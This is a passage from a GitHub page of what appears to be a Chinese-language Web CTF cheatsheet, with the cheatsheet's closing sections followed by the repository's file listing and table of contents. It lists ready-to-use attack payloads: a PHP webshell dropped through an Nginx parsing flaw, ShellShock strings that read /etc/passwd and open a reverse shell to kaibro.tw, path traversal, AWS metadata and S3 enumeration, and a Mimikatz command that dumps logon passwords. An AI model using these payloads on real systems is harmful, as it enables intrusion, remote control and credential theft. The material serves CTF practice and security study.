    - a.asp/user.jpg
    - user.asp;aa.jpg
- Nginx
  - nginx < 8.03
    - cgi.fix_pathinfo=1
    - Fast-CGI開啟狀況下
    - kaibro.jpg: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    - 訪問kaibro.jpg/.php生成shell.php
AWS常見漏洞
- S3 bucket權限配置錯誤
  - nslookup判斷
    - nslookup 87.87.87.87
    - s3-website-us-west-2.amazonaws.com.
  - 確認bucket
    - 訪問bucketname.s3.amazonaws.com
    - 成功會返回bucket XML資訊
  - awscli工具
    - 列目錄 aws s3 ls s3://bucketname/ --region regionname
    - 下載 aws sync s3://bucketname/ localdir --region regionname
- metadata
  - http://169.254.169.254/latest/meta-data/
  - Tool
    - https://andresriancho.github.io/nimbostratus/
常見Port服務
- http://packetlife.net/media/library/23/common_ports.pdf
php -i | grep "Loaded Configuration File"
- 列出php.ini路徑
curl -i -X OPTIONS 'http://evil.com/'
ShellShock
- () { :; }; echo vulnerable
- () { :a; }; /bin/cat /etc/passwd
- () { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
X-forwarded-for偽造來源IP
DNS Zone Transfer
- dig @1.2.3.4 abc.com axfr
  - DNS Server: 1.2.3.4
  - Test Domain: abc.com
NodeJS unicode failure
- 內部使用UCS-2編碼
- ＮＮ => ..
  - Ｎ 即 \xff\x2e
  - 轉型時捨棄第一個Byte
特殊的CRLF Injection繞過
- %E5%98%8A
- 原始的Unicode碼為U+560A
- raw bytes: 0x56, 0x0A
MySQL utf8 v.s. utf8mb4
- MySQL utf8編碼只支援3 bytes
- 若將4 bytes的utf8mb4插入utf8中，在non strict模式下會被截斷
- CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
Nginx目錄穿越漏洞
- 常見於Nginx做Reverse Proxy的狀況
```
location /files {
    alias /home/
}
```
- 因為/files沒有加上結尾/，而/home/有
- 所以/files../可以訪問上層目錄
Node.js目錄穿越漏洞
- CVE-2017-14849
- 影響: 8.5.0版
- /static/../../../foo/../../../../etc/passwd
Apache Tomcat Session操縱漏洞
- 預設session範例頁面/examples/servlets /servlet/SessionExample
- 可以直接對Session寫入
polyglot image+.htaccess
- XBM格式有定義在exif_imagetype()中
- 符合.htaccess格式
- Insomnihack CTF
```
#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
```
tcpdump
- -i 指定網卡，不指定則監控所有網卡
- -s 默認只抓96bytes，可以-s指定更大數值
- -w 指定輸出檔
- host 指定主機(ip or domain)
- dst, src 來源或目的端
- port指定端口
- tcp, udp, icmp 指定協議
- example
  - 來源192.168.1.34且目的端口為80
    - tcpdump -i eth0 src 192.168.1.34 and dst port 80
  - 來源192.168.1.34且目的端口是22或3389
    - tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
  - 保存檔案，可以後續用wireshark分析
    - tcpdump -i eth0 src kaibro.tw -w file.cap

Tool & Online Website

Information gathering

Social Engineering

Crack

其它

https://3v4l.org/
- php eval
https://github.com/denny0223/scrabble
- git
https://github.com/lijiejie/ds_store_exp
- .DS_Store
https://github.com/kost/dvcs-ripper
- git / svn / hg / cvs ...
http://www.factordb.com/
unicode converter
- https://www.branah.com/unicode-converter
PHP混淆 / 加密
- http://enphp.djunny.com/
- http://www.phpjm.net/
https://github.com/PowerShellMafia/PowerSploit
https://github.com/swisskyrepo/PayloadsAllTheThings/
http://xssor.io
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
- XSS Payloads
DNSLog
https://r12a.github.io/apps/encodings/
- Encoding converter
http://tool.leavesongs.com/
Mimikatz
- mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt
WASM
- https://wasdk.github.io/WasmFiddle/

Contributing

Welcome to open Pull Request

OR

Name		Name	Last commit message	Last commit date
Latest commit History 100 Commits
scripts		scripts
README.md		README.md

phanatagama/Web-CTF-Cheatsheet

Folders and files

Latest commit

History

Repository files navigation

WEB CTF CheatSheet

Table of Contents

Webshell

webshell駐留記憶體

無文件webshell

Reverse Shell

PHP Tag

PHP Weak Type

PHP 其他特性

Overflow

浮點數精度

ereg會被NULL截斷

intval

extract變數覆蓋

trim

is_numeric

in_array

array_search

parse_str

parse_url

preg_replace

sprintf / vprintf

file_put_contents

spl_autoload_register

路徑正規化

URL query decode

OPcache

PCRE回溯次數限制繞過

其他

Command Injection

? and *

空白繞過

Keyword繞過

ImageMagick (ImageTragick)

Ruby Command Executing

Python Command Executing

Read File

SQL Injection

MySQL

MSSQL

Oracle

SQLite

PostgreSQL

ORM injection

SQL Injection with MD5

HTTP Parameter Pollution

SQLmap

LFI

Testing Payload

Linux / Unix

Windows

環境變數

log文件

php://filter

php://input

phpinfo

php session

data://

zip / phar

SSI (Server Side Includes)

上傳漏洞

Javascript檢測

Bypass MIME Detection

黑名單判斷副檔名

Magic Number

其他

反序列化

PHP - Serialize() / Unserialize()

Python Pickle

Ruby/Rails Marshal

Ruby/Rails YAML

Java Deserialization

.NET Derserialization

SSTI

Testing

Packages